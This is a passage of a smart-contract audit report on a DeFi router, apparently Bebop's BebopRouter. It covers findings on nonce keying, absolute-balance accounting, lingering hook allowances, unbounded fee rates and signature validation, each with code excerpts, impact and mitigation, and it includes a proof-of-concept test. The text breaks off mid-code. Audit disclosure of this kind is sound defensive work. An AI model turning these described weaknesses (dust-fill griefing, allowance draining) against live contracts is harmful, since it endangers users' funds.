      receiver: routerAddr, packed_commands: 0n, flags: 0n,
    };
    const makerSig = await signPmmSingleOrder(maker, BEBOP_PMM, chainId, pmm, 0n);
    const pmmCalldata = encodePmmSwapSingle(pmm, makerSig, 0n);
    const routerSig = await signRouterOrder(routerSigner, routerAddr, chainId, order, "0x",
    ↪  ethers.ZeroHash);
    const userSig = await signRouterOrder(user, routerAddr, chainId, order, "0x", ethers.ZeroHash);
```

```
    const routerUsdc0 = await usdc.balanceOf(routerAddr);
    await router.connect(owner).settle(e6(1000), order, "0x", routerSig, pmmCalldata, [], userSig);
    const routerUsdcStranded = (await usdc.balanceOf(routerAddr)) - routerUsdc0;

    // user paid 1000 USDC; PMM consumed only 600; 400 stranded in the router (unrefunded)
    expect(routerUsdcStranded).to.equal(e6(400));
  });


});
```

Recommended Mitigation: Consider require the PMM order to consume exactly what the router pulled, or refund the remainder after the PMM call. For example, snapshot the router's `pmmFromToken` balance before settlement and require the balance delta to equal `newFromAmount`, or transfer any unconsumed remainder back to the original payer. Alternatively, decode and validate the PMM `taker_amount` before settlement so it cannot be smaller than `newFromAmount`, or bind the PMM calldata/amounts into the signed router order..

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified. Unused exact-in input is swept to treasury while enforcing the signed output floor.

7.3 Low Risk

7.3.1 `BebopRouter::invalidateNonce` is keyed to msg.sender, so open orders cannot be globally cancelled and are single-use per caller

Description: Replay protection for an order is a bitmap nonce, but the **owner** the nonce is keyed to is chosen by the entry path:

```
// BebopRouter.sol:248  _validateAndPrepare
_invalidateNonce(isSettle ? order.tokensOwner : msg.sender, ctx.routerNonce); // @audit swap keys nonce
↪  to msg.sender
```

For `swap`, the key is the volatile `msg.sender`. The access check additionally allows *any* caller when the order is authored as an "open" order (`tokensOwner == address(0)`):

```
// BebopRouter.sol:351
require(isSettle || order.tokensOwner == address(0) || msg.sender == order.tokensOwner,
↪  InvalidMsgSender());
// @audit tokensOwner == 0   passes for every caller
```

Because each caller's nonce lives in its own bitmap (`_nonces[owner][slot]`, `BebopValidation.sol:84-91`), caller A consuming nonce `N` does not mark `N` consumed for caller B. So one routerSigner-signed open order is **single-use per caller**, not globally single-use.

The user-cancel path is keyed the same way and therefore cannot retire an open order:

```
// BebopRouter.sol:103-106
function invalidateNonce(uint256 nonce) external {
    _invalidateNonce(msg.sender, nonce); // @audit only burns the caller's own bitmap
    emit NonceInvalidated(msg.sender, nonce);
}
```

A routerSigner (or anyone) calling `invalidateNonce(N)` only burns `N` in **their own** bitmap; it does not invalidate `N` for the open order across other potential callers. So an outstanding open order **cannot be revoked on-chain** — the only thing that retires it is `expiry` (`info`-packed).

Impact: Operational / order-lifecycle, not loss of funds:

- An outstanding open order (`tokensOwner == 0`) **cannot be cancelled before expiry**. If its terms need to be retired early — market move, fee/oracle/checker reconfiguration, or an order issued in error — there is no on-chain lever; the issuer can only wait out `expiry` (so the only mitigation is issuing open orders with short expiries).
- The same order is **executable once per distinct caller** rather than once globally, so any "single-use authorization" intent is not enforced on-chain for open orders.

Recommended Mitigation: Consider making open orders globally single-use. Key the nonce to the signed `order.tokensOwner` in both paths rather than the call-volatile `msg.sender`:

```
- _invalidateNonce(isSettle ? order.tokensOwner : msg.sender, ctx.routerNonce);
+ _invalidateNonce(order.tokensOwner, ctx.routerNonce);
```

If cancelability option for open orders is desirable, consider adding an owner gated function for the same:

```
function invalidateOpenNonce(uint256 nonce) external onlyOwner { // or routerSigner-gated
    _invalidateNonce(address(0), nonce);
    emit NonceInvalidated(address(0), nonce);
}
```

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.

7.3.2 `BebopRouter::_executeSwapCore` uses absolute balances, causing unrelated residual funds to be consumed or paid to another order

Description: `_executeSwapCore` uses the router's absolute token balances at both the PMM input and receiver output boundaries. Consequently, tokens already held by the router can be treated as belonging to a later swap.

When a pre-hook converts `order.fromToken` into a different `order.pmmFromToken`, the router forwards its complete `pmmFromToken` balance to the PMM:

```
// contracts/BebopRouter.sol:275-283
} else if (order.pmmFromToken != order.fromToken) {
    pmmFromAmount = IERC20(order.pmmFromToken).balanceOf(address(this));
}

_executePmmSwap(
    bebopPmmCalldata,
    ctx.pmm.selector,
    order.pmmFromToken,
    pmmFromAmount
);
```

Any `pmmFromToken` already present from an under-consumed fill, hook overproduction, or direct transfer is folded into the current PMM fill instead of being isolated from it.

The same problem occurs at the receiver boundary. For native output, the router unwraps its complete WETH balance and transfers its complete ETH balance:

```
// contracts/BebopRouter.sol:296-303
uint256 wethBalance =
    IERC20(address(wrappedNativeToken)).balanceOf(address(this));

if (wethBalance > 0) {
    wrappedNativeToken.withdraw(wethBalance);
}

receiverAmount = address(this).balance;
_transferNative(order.receiver, receiverAmount);
```

For ERC20 output, the router transfers its complete `toToken` balance:

```
// contracts/BebopRouter.sol:305-308
receiverAmount = IERC20(order.toToken).balanceOf(address(this));

require(
    !ctx.calc.isExactOut ||
        receiverAmount >= ctx.calc.toAmountAfterFeeSlippage,
    LimitAmountViolation()
);
require(
    order.limitAmount <= 0 ||
        receiverAmount >= uint256(order.limitAmount),
    LimitAmountViolation()
);

IERC20(order.toToken).safeTransfer(order.receiver, receiverAmount);
```

No balance is recorded before the current swap or its hooks. Therefore, unrelated `toToken`, WETH, or ETH already held by the router is included in the current receiver's payout.

These are two manifestations of the same accounting defect: the router treats its global balances as the current swap's balance changes.

This issue is distinct from incidental `pmmToToken` being classified as fee or positive slippage inside `_distributeFees`. It concerns:

- Residual `pmmFromToken` consumed as input by a subsequent hook-transformed swap.
- Residual `toToken`, WETH, or ETH surviving until the final receiver payout.

Files:

- `contracts/BebopRouter.sol` - `BebopRouter::_executeSwapCore` (lines 275-283, 296-308)

Impact: Residual funds can be attributed to an unrelated later order:

- Existing `pmmFromToken` may be consumed by the PMM, with the resulting output distributed according to the later order.
- Existing `toToken`, WETH, or ETH may be paid to the later order's receiver.
- Exact-out receivers can receive more than the intended target because the router checks only that the absolute balance is at least the required amount and then transfers all of it.

The magnitude is bounded by the router's residual balance and, for PMM input, the PMM quote's taker-amount capacity.

Exploitation is constrained because the later route and receiver are authorized by the `routerSigner`. This is therefore a value-isolation and accounting issue rather than permissionless theft.

Recommended Mitigation: Account for each swap using balance deltas rather than absolute balances.

Before pre-hooks, snapshot the `pmmFromToken` balance:

```
uint256 pmmFromBalanceBefore =
    IERC20(order.pmmFromToken).balanceOf(address(this));

HookLib.executeHooks(/* ... */);

uint256 pmmFromBalanceAfter =
    IERC20(order.pmmFromToken).balanceOf(address(this));

uint256 pmmFromAmount =
    pmmFromBalanceAfter - pmmFromBalanceBefore;
```

Use that delta as the PMM input. Also require the PMM to consume exactly that amount or refund any remainder to the appropriate payer.

Similarly, snapshot the receiver asset before the swap can produce it and transfer only the current operation's balance increase:

```
uint256 receiverAmount = balanceAfter - balanceBefore;
```

Native ETH and WETH should be accounted for separately so unrelated ETH and WETH balances are neither unwrapped nor transferred.

For exact-out orders, transfer exactly `toAmountAfterFeeSlippage` after verifying that the current swap produced at least that amount. Route genuine surplus through explicit positive-slippage or recovery logic.

Bebop: Acknowledged.

7.3.3 `BebopRouter::swap` native-input/native-output orders with excess msg.value revert because the excess is paid to the receiver before refund

Description:

In `swap`, native-token input requires only `msg.value >= ctx.calc.newFromAmount`, so callers are allowed to send more ETH than the swap needs:

```
// contracts/BebopRouter.sol:155-156
if (order.fromToken == NATIVE_TOKEN) {
    require(msg.value >= ctx.calc.newFromAmount, UnexpectedMsgValue());
}
```

The excess ETH (`msg.value - ctx.calc.newFromAmount`) is supposed to be refunded only after `_executeSwapCore` returns:

```
// contracts/BebopRouter.sol:167-169
if (msg.value > ctx.calc.newFromAmount && order.fromToken == NATIVE_TOKEN) {
    _transferNative(msg.sender, msg.value - ctx.calc.newFromAmount);
}
```

However, `_executeSwapCore` wraps only `ctx.calc.newFromAmount` into WETH for the PMM, leaving the excess as raw ETH in the router. If the same order also has `order.toToken == NATIVE_TOKEN`, the native-output branch computes the receiver payout from the router's full ETH balance:

```
// contracts/BebopRouter.sol:271-274
pmmFromAmount = ctx.calc.newFromAmount;
wrappedNativeToken.deposit{value: pmmFromAmount}();

// contracts/BebopRouter.sol:296-303
uint256 wethBalance = IERC20(address(wrappedNativeToken)).balanceOf(address(this));
if (wethBalance > 0) {
    wrappedNativeToken.withdraw(wethBalance);
}
receiverAmount = address(this).balance;
...
_transferNative(order.receiver, receiverAmount);
```

At that point `address(this).balance` includes both the PMM output unwrapped from WETH and the not-yet-refunded excess `msg.value`. The native-output payout transfers the full balance to `order.receiver`. Control then returns to `swap`, which attempts to refund the same excess to `msg.sender`; under normal execution the router has no ETH left, so the refund reverts with `NativeTransferFailed` and the whole swap unwinds.

Files:

- `contracts/BebopRouter.sol` - `BebopRouter::swap` (lines 156, 167-169)
- `contracts/BebopRouter.sol` - `BebopRouter::_executeSwapCore` (lines 271-274, 296-303)

Impact: Native-input/native-output swaps revert whenever the caller sends `msg.value > ctx.calc.newFromAmount`. The failure is recoverable by resubmitting with exact `msg.value`, and the revert unwinds the attempted receiver payout, so no funds are permanently lost in the normal case. It is still an availability/accounting bug in the native-to-native path: the contract first treats refundable ETH as receiver output, then tries to refund ETH it has already transferred away.

This does not affect native-input swaps whose output is ERC20, because the raw ETH excess remains in the router until the post-core refund. It also does not affect ERC20-input native-output swaps, because those calls require `msg.value == 0`.

Recommended Mitigation: Refund excess `msg.value` before calling `_executeSwapCore`, so refundable ETH is not part of `address(this).balance` during the native-output payout. Alternatively, make the native-output branch pay only the ETH produced by the current swap, e.g. by tracking the WETH/ETH delta attributable to the PMM output instead of transferring the router's full ETH balance.

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.

7.3.4 `BebopRouter::_approveHooks` never resets hook ERC20 allowance, leaving a standing approval to routerSigner-authorized hook targets

Description: `_approveHooks` calls `safeApproveWithRetry(hook.targetContract, amount)` for each hook that has `needsApproval` set:

```
// contracts/BebopRouter.sol:322-326
function _approveHooks(Hook[] calldata hooks, bool postHookPhase, address token, uint256 amount)
↪  internal {
    for (uint256 i; i < hooks.length; ++i) {
        if (HookLib.isPostHook(hooks[i]) == postHookPhase && HookLib.isNeedsApproval(hooks[i])) {
            IERC20(token).safeApproveWithRetry(hooks[i].targetContract, amount);
        }
    }
}
```

The allowance is set before the hook phase executes and is never reset to zero afterward. For the pre-hook phase, each `needsApproval` hook receives an allowance for `ctx.calc.newFromAmount` of `order.fromToken`. For the post-hook phase, each `needsApproval` hook receives an allowance for the router's full current `order.pmmToToken` balance:

```
// contracts/BebopRouter.sol:289
_approveHooks(hooks, true, order.pmmToToken, IERC20(order.pmmToToken).balanceOf(address(this)));
```

Hooks with `makerAddress == address(0)` require no maker signature because `_validateHookSignatures` skips them. They are still bound into the routerSigner-signed order through `hooksHash`, so arbitrary third parties cannot inject these approvals. However, once the routerSigner authorizes a hook target with `needsApproval = true`, any unused allowance to that target persists after the swap.

This is most visible when a hook target consumes less than the approved amount, when a hook is a no-op, or when multiple `needsApproval` hooks exist in the same phase: `_approveHooks` grants every matching hook the full allowance before execution, while only one hook may actually consume the balance.

Files:

- `contracts/BebopRouter.sol` - `BebopRouter::_approveHooks` (lines 322-328)
- `contracts/BebopRouter.sol` - `BebopRouter::_executeSwapCore` (line 289)

Impact: A standing ERC20 allowance granted to a hook target persists indefinitely. If the router later holds a persistent balance of that same token - for example from a donation, stranded input/output, or accumulated dust - the approved hook target can call `transferFrom` directly and drain up to the leftover allowance without another router call.

This is not a permissionless exploit: the original approval requires a routerSigner-signed order naming that hook target, and the hook system is an intended trusted extension point. The issue is a blast-radius and cleanup gap. A hook that was authorized for one swap keeps spending power over future residual balances even after that swap completes.

Recommended Mitigation: Reset each hook target's allowance to zero immediately after the relevant hook phase executes. Approve only for the duration of the hook call, then clear the allowance regardless of whether the hook consumed the full amount. Also consider replacing the phase-wide full-balance approval with per-hook declared consumption limits, or require hook targets to be allowlisted.

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.

7.3.5 `BebopRouter::settle` relayer can dust-fill an order with a tiny exactAmount, consuming the user's nonce and griefing the intended fill

Description: `exactAmount` is a function argument of `settle`, not a field of the signed `BebopRouterOrder`, so it is not covered by either the router-signer or user signature. The user's nonce is consumed inside `_validateAndPre-`

pare, *before* the swap executes:

```
// BebopRouter.sol:248
_invalidateNonce(isSettle ? order.tokensOwner : msg.sender, ctx.routerNonce); // @audit consumed before
↪  the fill, on any successful exactAmount
```

A relayer can therefore submit a user's gasless order with a very small positive `exactAmount` (a partial fill). The PMM partial-fills it successfully, the transaction succeeds, and the user's `routerNonce` is permanently invalidated — so the user's intended full-size fill can no longer be executed against that signed order.

Files:

- `contracts/BebopRouter.sol` - `BebopRouter::settle` (lines 205, 248)

Impact: Griefing of a user's intended swap. A malicious or competing relayer can burn a user's signed `settle` order for a negligible fill, wasting the user's quote and round-trip. No direct fund loss beyond the dust fill. Note this is partly inherent to partial-fill RFQ designs, but the relayer-chosen (unsigned) `exactAmount` makes it freely griefable rather than user-controlled.

Recommended Mitigation: Include `exactAmount` (or a minimum fill size) in the signed order.

Bebop: Acknowledged.

Cyfrin: Bebop accepts the dust-fill risk because settle is submitted only by a trusted Bebop-controlled relayer.

7.3.6 `BebopRouter::_calculateAmounts` applies oracle and checker fee and slippage rates with no upper bound, risking division-by-zero and underflow at or above `UNIT_BASE`

Description: `_getFeeAndSlippage` returns the raw `uint256` values from `IChecker::checkAndGetFee` and `IOracle::getSlippage` with no validation against `UNIT_BASE` (1,000,000 = 100%). These values feed directly into `_calculateAmounts` without any prior bounds check.

In exactOut mode (lines 414-416), `combinedRate = fee + slippage` is used as `UNIT_BASE - combinedRate` in the denominator of the gross-up formula. When `combinedRate == UNIT_BASE`, the denominator is zero, causing an EVM division-by-zero revert. When `combinedRate > UNIT_BASE`, the subtraction `UNIT_BASE - combinedRate` underflows, also reverting. In exactIn mode (line 408) and balance-of-router mode (line 431), `toAmountAfterFeeSlippage = newToAmount - feeAmount - slippageAmount` underflows whenever `feeAmount + slippageAmount > newToAmount`, which occurs when `fee + slippage > UNIT_BASE`.

Even below `UNIT_BASE`, rates approaching 100% silently strip the receiver's output to near zero. There is no code-level cap protecting against a per-order oracle or checker returning an extreme rate.

Files:

- `contracts/BebopRouter.sol` - `BebopRouter::_calculateAmounts` (lines 408, 414-416, 431)

Impact: A per-order oracle or checker that returns a combined rate at or above `UNIT_BASE` bricks every `swap` and `settle` call bound to that order with an opaque arithmetic revert. The affected orders are unfillable until the rate returns below 100% or the signer issues new orders with a different oracle/checker. Large-but-sub-`UNIT_BASE` rates silently transfer most of the receiver's expected output to the treasury and makers as fee/slippage, with no on-chain ceiling protecting the user. Recovery from the DoS case requires the oracle to self-correct or the signer to re-issue orders, so the path is recoverable but temporarily broken.

Recommended Mitigation: After fetching fee and slippage, add `require(fee + slippage < UNIT_BASE)` (and individually `fee <= UNIT_BASE`, `slippage <= UNIT_BASE`) before passing the rates to `_calculateAmounts`. Emit a typed error (e.g. `RateExceedsUnitBase`) so callers can distinguish this failure from arithmetic panics. Consider a protocol-level `MAX_COMBINED_RATE` constant as an additional defense-in-depth bound.

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.

7.3.7 `HookLib::hookHash` omits order context and relies on PMM maker-nonce consumption, leaving maker-hook replay protection dependent on routerSigner nonce discipline

Description: A maker authorizes a hook by signing `_toEIP712Digest(hookHash(hook, makerNonce))`, where `hookHash` commits to only `HOOK_SIGN_TYPE_HASH`, `hook.targetContract`, `keccak256(hook.data)`, `makerNonce`, and `hook.flags`:

```
// contracts/libraries/HookLib.sol:65-73
function hookHash(Hook calldata hook, uint256 makerNonce) internal pure returns (bytes32) {
    return keccak256(abi.encode(
        HOOK_SIGN_TYPE_HASH,
        hook.targetContract,
        keccak256(hook.data),
        makerNonce,
        hook.flags
    ));
}
```

The maker's signature binds the hook body and maker nonce, but it does not bind the surrounding router order identity, receiver, fill amounts, taker amounts, or `msg.sender`.

The intended one-shot protection is the PMM maker nonce: the hook nonce is taken from the matching PMM order, so settling or canceling the PMM order should also retire the hook authorization. However, the router itself never consumes or invalidates the maker nonce. `_invalidateNonce` is called only for `ctx.routerNonce`, while maker-nonce consumption happens inside `BebopSettlement` when that maker's PMM leg settles.

This does not create a permissionless replay path across arbitrary router contexts. `HookLib.hooksHash(hooks, makerAddresses, makerNonces)` is included in `order.hash(extraInfo, hooksHashVal)`, and the router validates the `routerSigner` signature over that hash before validating maker hook signatures. Reusing the same maker hook signature in a different receiver/order context with the old router signature fails `InvalidSigner`. After a successful PMM fill, reusing the consumed maker nonce in a fresh routerSigner-signed order also reverts in the PMM settlement path.

The remaining risk is narrower: if the routerSigner/backend authorizes another order that reuses the same unconsumed PMM maker nonce, the same maker hook authorization can validate for that new signed order. The maker hook may then execute in a context the maker did not explicitly bind into the hook signature, with harm depending on the hook target's behavior.

Files:

- `contracts/libraries/HookLib.sol` - `HookLib::hookHash`, `HookLib::hooksHash`
- `contracts/BebopRouter.sol` - `BebopRouter::_validateSignaturesAndAccess`, `BebopRouter::_validateHookSignatures`

Impact: Maker hook authorization is not self-contained at the router layer and depends on the routerSigner/backend never reusing an unconsumed maker nonce in a different signed order. If that assumption fails, a maker-signed hook can execute in a different routerSigner-authorized context than the maker intended.

The concrete harm depends on the hook target, for example a `bebopHook` target that acts on `scaledSwaps` or a hook that moves maker-owned assets. Once the maker nonce has been consumed in PMM settlement, reuse of the same nonce reverts in the PMM path.

Recommended Mitigation: Bind the maker hook signature to the specific router order context by including the order hash, or at minimum the `routerNonce`, receiver, and relevant token/amount fields, in `HOOK_SIGN_TYPE_HASH` / `hookHash`. Additionally, consider having the router consume a hook-specific maker nonce when it validates a maker hook signature, or document and enforce backend-side uniqueness of maker nonces across all outstanding hook-authorized orders.

Bebop: Acknowledged.

Cyfrin: Bebop accepts reliance on unique PMM maker nonces and trusted router-signer nonce discipline to prevent hook replay.

7.3.8 BebopRouter ignores PMM partnerId referral fees, allowing maker output to arrive below the router's expected delivery

Description: `BebopSettlement` supports a maker-signed `partnerId` embedded in the PMM order flags. The partner ID is included in the maker's PMM signature, but the router decodes only the PMM event ID from the flags and does not account for partner fees.

For single orders, settlement extracts the partner ID from `order.flags` and passes it into `_transferToken` for the maker-to-receiver transfer:

```
// external/bebop-settlement/src/BebopSettlement.sol:274-295
(uint128 eventId, uint64 partnerId) = Order.extractFlags(order.flags);
...
_transferToken(
    order.maker_address, order.receiver, order.maker_token, newMakerAmount,
    makerUsingPermit2 ? Commands.PERMIT2_TRANSFER : Commands.SIMPLE_TRANSFER,
    makerHasNative ? Transfer.Action.Unwrap : Transfer.Action.None, partnerId
);
```

`BebopTransfer::_transferToken` then deducts the registered partner fee from the maker transfer before sending the remainder to the router:

```
// external/bebop-settlement/src/base/BebopTransfer.sol:93-107
if (partnerInfo.registered && partnerInfo.fee > 0) {
    fee = amount * partnerInfo.fee / HUNDRED_PERCENT;
}
...
IERC20(token).safeTransferFrom(from, partnerInfo.beneficiary, fee);
amount -= fee;
IERC20(token).safeTransferFrom(from, receiver, amount);
```

The aggregate path applies the same deduction in `_transferMakerTokens`.

The router's decoded `pmm.pmmMakerAmount` remains the pre-fee PMM maker amount. `_calculateAmounts` and `_distributeFees` therefore reason about the gross maker delivery, while the actual `pmmToToken` balance received by the router is net of the partner fee:

```
// contracts/BebopRouter.sol:450-455
feePool = pmmToBalance > calc.toAmountAfterFeeSlippage
    ? pmmToBalance - calc.toAmountAfterFeeSlippage
    : 0;
```

If the partner-fee-reduced delivery is below the router's required receiver floor, exactOut fills and exactIn fills with a positive `limitAmount` revert with `LimitAmountViolation` even though the decoded PMM `maker_amount` appeared sufficient before settlement applied the partner fee.

Files:

- `contracts/BebopRouter.sol` - `BebopRouter::_distributeFees`, `BebopRouter::_executeSwapCore`
- `contracts/base/BebopPmmHelper.sol` - `BebopPmmHelper::_decodeSinglePmm`, `BebopPmmHelper::_decodeAggregatePmm`
- `external/bebop-settlement/src/BebopSettlement.sol` - `BebopSettlement::_executeSingleOrder`, aggregate/multi settlement paths
- `external/bebop-settlement/src/base/BebopTransfer.sol` - `BebopTransfer::_transferToken`, `BebopTransfer::_transferMakerTokens`
- `external/bebop-settlement/src/base/BebopPartner.sol` - partner fee registration and `HUNDRED_PERCENT`

Impact: When a maker signs a PMM order with a nonzero registered `partnerId`, the router may receive less `pmmToToken` than the PMM `maker_amount` it decoded and used for quote/accounting decisions.

For exactOut, or exactIn orders with a positive `limitAmount` above the net delivery, the fill reverts and must be reissued without the partner fee or with amounts adjusted for it.

Recommended Mitigation: Either reject PMM orders with nonzero `partnerId` in the router path, or explicitly account for the net maker delivery after the partner fee. If partner-fee PMM orders must be supported, decode `partnerId`, obtain the registered fee rate from the PMM settlement contract, and compute/check the expected net `pmmToToken` delivery before applying fee distribution and receiver floors.

Bebop: Acknowledged.

7.3.9 BebopRouter::swap exactOut does not require a negative limitAmount, leaving input pulls without an order-committed max-spend ceiling

Description: In exactOut mode (`exactAmount < 0`), `_calculateAmounts` computes `newFromAmount = order.fromAmount * newToAmount / order.toAmount` (line 422) and then applies a cap at line 423: `require(order.limitAmount >= 0 || newFromAmount <= uint256(-order.limitAmount))`. When `order.limitAmount >= 0`, this require is trivially satisfied for all values of `newFromAmount` - the cap never applies.

`settle` guards against this asymmetry with an explicit check at line 205 (`require(exactAmount > 0 || order.limitAmount < 0)`), which forces exactOut settle callers to declare a maximum spend via a negative `limitAmount`. `swap` has no equivalent guard. An order signed with `exactAmount < 0` and `limitAmount >= 0` in the `swap` path has no on-chain ceiling on the input pulled from `msg.sender`, bounded only by the taker's standing approval to the router.

While the input comes from `msg.sender` (the taker funds themselves), a signer-authored order with an adverse order ratio (`order.fromAmount / order.toAmount` significantly higher than the PMM ratio) can compute a `newFromAmount` far exceeding what a taker would expect for the stated exactOut target, with no signed maximum spend to protect them.

Files:

- `contracts/BebopRouter.sol` - `BebopRouter::swap` (line 205 - the guard present in `settle` but absent in `swap`)
- `contracts/BebopRouter.sol` - `BebopRouter::_calculateAmounts` (line 423)

Impact: The taker in `swap` exactOut has no signed ceiling on the input token pulled when `limitAmount >= 0`. The protection the design intends for exactOut - "never overpays" - relies on `limitAmount < 0` as the signed maximum-spend commitment. Without enforcing this for `swap`, a routerSigner-authored order with an inflated order ratio can pull significantly more `fromToken` from the taker than the stated exactOut fill warrants. The harm is bounded to the taker's own approval and is self-inflicted in the sense that `msg.sender` is paying, but the signer controls the ratio.

Recommended Mitigation: Add the same guard that `settle` applies: `require(exactAmount > 0 || order.limitAmount < 0, LimitAmountRequiredForExactOut())` at the start of `swap`. This ensures exactOut swap callers always provide a signed spend ceiling via a negative `limitAmount`, consistent with the documented exactOut never-overpays intent.

Bebop: Acknowledged. Exact-out swap permits no ceiling because the caller funds and submits the transaction; settle retains the mandatory signed ceiling.

7.3.10 `BebopRouter::_distributeFees` derives `feePool` from the absolute `pmmToToken` balance rather than a per-swap delta, sweeping prior or donated balance to treasury as positive slippage

Description: `_distributeFees` reads the router's absolute `pmmToToken` balance and computes the fee pool from that full balance:

```
// contracts/BebopRouter.sol:450-489
uint256 pmmToBalance = IERC20(order.pmmToToken).balanceOf(address(this));

uint256 feePool = pmmToBalance > calc.toAmountAfterFeeSlippage
    ? pmmToBalance - calc.toAmountAfterFeeSlippage
    : 0;
...
```

```
uint256 positiveSlippage = feePool > theoreticalTotal ? feePool - theoreticalTotal : 0;
...
uint256 toTreasury = protocolFeeShare + protocolSlippageShare + positiveSlippage;
...
if (toTreasury > 0) {
    IERC20(order.pmmToToken).safeTransfer(protocolTreasury, toTreasury);
}
```

Because no pre-swap balance snapshot is taken, any `pmmToToken` already held by the router is included in `feePool`. If that incidental balance pushes `feePool` above `theoreticalTotal`, it is classified as positive slippage and transferred to `protocolTreasury`, even though it was not delivered by the current swap's makers.

Files:

- `contracts/BebopRouter.sol` - `BebopRouter::_distributeFees`

Impact: Pre-existing `pmmToToken` in the router can be classified as positive slippage and transferred to `protocolTreasury`, misattributing value that did not arise from the current swap's maker delivery. The magnitude depends on the incidental balance present at the time of the swap.

Recommended Mitigation: Snapshot `IERC20(order.pmmToToken).balanceOf(address(this))` immediately before the PMM call and use `balanceAfter - balanceBefore` as the delivered amount for computing `feePool`. This ensures only the tokens actually delivered by this swap's makers enter the fee distribution.

Bebop: Acknowledged.

7.3.11 BebopRouter::_distributeFees leaves below-threshold positive slippage in the router, causing it to be paid to the receiver

Description: When positive slippage is above zero but below `getMinPositiveSlippageToTreasury` and both protocol shares are zero, the router zeroes the `positiveSlippage` variable to avoid a dust treasury transfer:

```
// contracts/BebopRouter.sol:479-486
if (positiveSlippage > 0 && positiveSlippage < order.getMinPositiveSlippageToTreasury()
    && protocolFeeShare == 0 && protocolSlippageShare == 0) {
    positiveSlippage = 0;
}

uint256 toTreasury = protocolFeeShare + protocolSlippageShare + positiveSlippage;
uint256 totalMakerRefund = (feeAmount + slippageAmount) - protocolFeeShare - protocolSlippageShare;
```

The zeroed amount is not added to `totalMakerRefund`, so it remains in the router's `pmmToToken` balance after `_distributeFees`. For the common path where `order.pmmToToken == order.toToken`, `_executeSwapCore` then transfers the router's full remaining `toToken` balance to the receiver:

```
// contracts/BebopRouter.sol:304-308
receiverAmount = IERC20(order.toToken).balanceOf(address(this));
require(!ctx.calc.isExactOut || receiverAmount >= ctx.calc.toAmountAfterFeeSlippage,
↪  LimitAmountViolation());
require(order.limitAmount <= 0 || receiverAmount >= uint256(order.limitAmount), LimitAmountViolation());
IERC20(order.toToken).safeTransfer(order.receiver, receiverAmount);
```

As a result, below-threshold positive slippage is paid to the receiver instead of being sent to treasury or included in the maker refund.

Files:

- `contracts/BebopRouter.sol` - `BebopRouter::_distributeFees`, `BebopRouter::_executeSwapCore`

Impact: On swaps where positive slippage falls below the dust threshold and both protocol shares are zero, the below-threshold surplus is paid to the receiver. The deviation is bounded by `minPositiveSlippageToTreasury` per swap.

Recommended Mitigation: When zeroing dust `positiveSlippage`, add it to `totalMakerRefund` before distribution:

```
if (positiveSlippage > 0 && positiveSlippage < order.getMinPositiveSlippageToTreasury()
    && protocolFeeShare == 0 && protocolSlippageShare == 0) {
    // Route dust back to makers instead of zeroing it
    totalMakerRefund += positiveSlippage;
    positiveSlippage = 0;
}
```

This ensures the below-threshold amount is distributed pro-rata to makers via `_distributeMakerRefundAndEmit` instead of remaining for the final receiver payout.

Bebop: Acknowledged.

7.3.12 `BebopValidation::validateSignature` branches on `code.length`, routing EIP-7702-delegated EOAs to the ERC-1271 path and reverting

Description: `validateSignature` selects between ECDSA recovery and ERC-1271 contract verification by checking `validationAddress.code.length == 0` (line 58). Post-EIP-7702 (live on Ethereum mainnet since the Pectra hard fork), an EOA can set a delegation designator that gives it a non-zero `code.length` while remaining controlled by its private key. Such an EOA producing a standard 65-byte or 64-byte EIP-2098 ECDSA signature is incorrectly routed to the `else` branch, which calls `IERC1271(validationAddress).isValidSignature`. Unless the delegate's implementation happens to return the ERC-1271 magic value for the same ECDSA signature, the call reverts with `InvalidContractSignature`.

This affects all three validation call sites: `order.tokensOwner` in `settle` (line 210), hook `maker` addresses (line 372), and `routerSigner` (line 346). The affected party can recover by removing the EIP-7702 delegation, making this a recoverable denial-of-service.

Files:

- `contracts/base/BebopValidation.sol:58-77`

Impact: EIP-7702-delegated EOAs are unable to participate as `tokensOwner` in gasless settlements, as hook makers, or as the router signer until they remove their delegation. No fund loss; the affected path is blocked until the user undelegates. Impact grows as EIP-7702 adoption increases.

Recommended Mitigation: Attempt ECDSA recovery first for 64-byte and 65-byte inputs and only fall back to ERC-1271 if ECDSA does not recover the expected address, regardless of `code.length`. OpenZeppelin's `SignatureChecker::isValidSignatureNow` follows this pattern and handles plain EOAs, contract wallets, and EIP-7702-delegated EOAs uniformly:

```
function validateSignature(address validationAddress, bytes32 hash, bytes calldata signature) public
↪   view {
    // Try ECDSA first for 64/65-byte signatures
    if (signature.length == 64 || signature.length == 65) {
        address recovered = _tryRecover(hash, signature);
        if (recovered == validationAddress) return;
    }
    // Fall back to ERC-1271
    if (validationAddress.code.length > 0) {
        bytes4 magicValue = IERC1271(validationAddress).isValidSignature(hash, signature);
        require(magicValue == EIP1271_MAGICVALUE, InvalidContractSignature());
        return;
    }
    revert InvalidSignature();
}
```

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.

7.3.13 `BebopValidation::validateSignature` rejects 65-byte ECDSA signatures that encode v as 0 or 1

Description: `validateSignature` handles 65-byte signatures by reading `v = uint8(signature[64])` verbatim and passing it directly to `ecrecover`:

```
// contracts/base/BebopValidation.sol:59-72
if (signature.length == 65) {
    (r, s) = abi.decode(signature, (bytes32, bytes32));
    v = uint8(signature[64]);
} else if (signature.length == 64) {
    // EIP-2098
    bytes32 vs;
    (r, vs) = abi.decode(signature, (bytes32, bytes32));
    s = vs & UPPER_BIT_MASK;
    v = uint8(uint256(vs >> 255)) + 27;
}
...
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), InvalidSignature());
```

The 64-byte EIP-2098 branch normalizes the recovery bit to `v` in `{27, 28}`, but the 65-byte branch does not. Signatures encoded with `v` in `{0, 1}` are common in some signing libraries as the raw recovery ID. Those signatures recover the expected signer if normalized by adding 27, but in this implementation `ecrecover` returns `address(0)` and validation reverts with `InvalidSignature`.

Files:

- `contracts/base/BebopValidation.sol` - `BebopValidation::validateSignature`

Impact: Signers whose libraries emit 65-byte signatures with raw `v` values in `{0, 1}` cannot authenticate through the 65-byte path. The same underlying signature succeeds if re-encoded with `v` in `{27, 28}` or converted to the supported EIP-2098 format.

Recommended Mitigation: Normalize `v` in the 65-byte branch before passing to `ecrecover`:

```
if (signature.length == 65) {
    (r, s) = abi.decode(signature, (bytes32, bytes32));
